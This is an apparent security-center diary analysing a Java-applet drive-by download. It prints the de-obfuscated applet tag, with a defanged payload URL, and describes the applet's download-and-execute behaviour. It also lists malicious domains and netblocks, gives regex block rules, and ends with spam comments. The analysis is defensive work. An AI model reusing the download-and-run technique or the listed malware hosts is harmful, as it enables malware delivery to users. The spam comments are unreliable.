Beware of strange web sites bearing gifts ...
Following our earlier post on nasty network address ranges, ISC reader Tom wrote in with some interesting logs. His information ties a recent wave of Java exploits to several addresses in the same 91.204.48.0/22 netblock. The latest exploits in this case start with a file called "new.htm", which contains obfuscated code as follows
This is easy to unravel - the numbers are Unicode and can be turned back into plain ASCII characters with a Perl line like this:
cat new.htm | perl -pe 's/u00(..)/chr(hex($1))/ge'
The resulting file looks as follows
applet name="Java Update" code="Polat. class" archive="Hidden. jar" height="10" width="1"
param name="url" value="hxxp://benaguasil. net/host.exe"
Yes, the above is slightly modified .. I tried to keep it plain enough that this diary can still be found via web search, but obfuscated enough to keep the less sophisticated anti-virus tools (like 90% of them) from triggering on this diary just because of the file name...
Nicely enough, we don't even have to use "jad" to decompile the Java class file - the "url" parameter passed to the applet is kinda telling all by itself. The good news is that "host.exe" already has pretty decent anti-virus coverage on VirusTotal.
But .. let's look at the Polat.class file anyway.
Nothing much going on here. A lot of smoke and mirrors, but basically, this Java Applet simply downloads the URL passed as a parameter (red underlines), writes it to a temp file called "javafire.exe", and then tries to run the file (red box). If this doesn't work, the Applet creates a file named "firem.bat" containing a command to start javafire.exe, and then tries to launch the batch file.
Huh? Download and run? Shouldn't the Java Sandbox prevent this?
Sure. This "openConnection-and-run" method of drive-by download only works when it is paired with a Java exploit. Which is not the case here, the Java file is clean, and doesn't contain any exploit for a recent vulnerability. So what gives? Well, let's try it out, and see what happens...
A-ha! If you don't have any zero-days, you can always go back to exploiting the human! This is independent of the JRE version used - with JRE default settings, even on JRE1.6-23, all the user has to do is click "Run" to get owned. The one small improvement is that the latest JREs show "Publisher: (NOT VERIFIED) Java Sun" in the pop-up, but I guess that users who read past the two exclamation marks will be bound to click "Run" anyway ...
Malware Domains 2234.in, 0000002.in & co
Those of you watching the malware universe have no doubt noticed the recent increase of malicious sites with ".in" domain names. The current set of names follow the four-digit and seven-digit pattern. Passive DNS Replication like RUS-CERT/BFK shows that a big chunk of these domains currently seems to point to 91.204.48.52 (AS24965) and 195.80.151.83 (AS50877). The former Netblock is in the Ukraine (where else), the latter likely in Moldavia. Both show up prominently on Google's filter (AS24965,AS50877), Zeustracker, Spamhaus (AS24965,AS50877) and many other sites that maintain filter lists of malicious hosts.
An URL block system that can do regular expressions comes in pretty handy for these - \d{4}\.in and \d{7}\.in takes care of the whole lot, likely with minimal side effects, since (benign) all-numerical domain names under ".in" are quite rare. If you're into blocking entire network ranges, zapping 91.204.48.0/22 and 195.80.148.0/22 should nicely take care of this current as well as future badness (though with unknown side effects - we have no idea whether your neighborhood Pizza shack happens to host its perfectly harmless web site amidst all the malware in one of these netblocks :)
Comments
Anonymous
Dec 3rd 2022
10 months ago
Anonymous
Dec 3rd 2022
10 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
https://defineprogramming.com/
Dec 26th 2022
9 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
9 months ago
rthrth
Jan 2nd 2023
9 months ago